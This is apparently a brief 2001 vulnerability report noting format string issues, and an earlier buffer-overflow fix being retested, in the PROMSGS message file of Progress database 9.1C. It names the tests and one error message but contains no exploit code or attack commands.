Well once again I have found yet another Progress database issue. The PROMSGS has been looked at one time already for buffer overflows. It was supposed to be fixed. I was poking around at it today and noticed these format strings issues... PROGRESS Version 9.1C as of Thu Jun 7 10:03:59 EDT 2001 First test with a malformed PROMSGS.

Unable to format message number 912 Test to make sure they fixed my original hole with the buffer overflows.
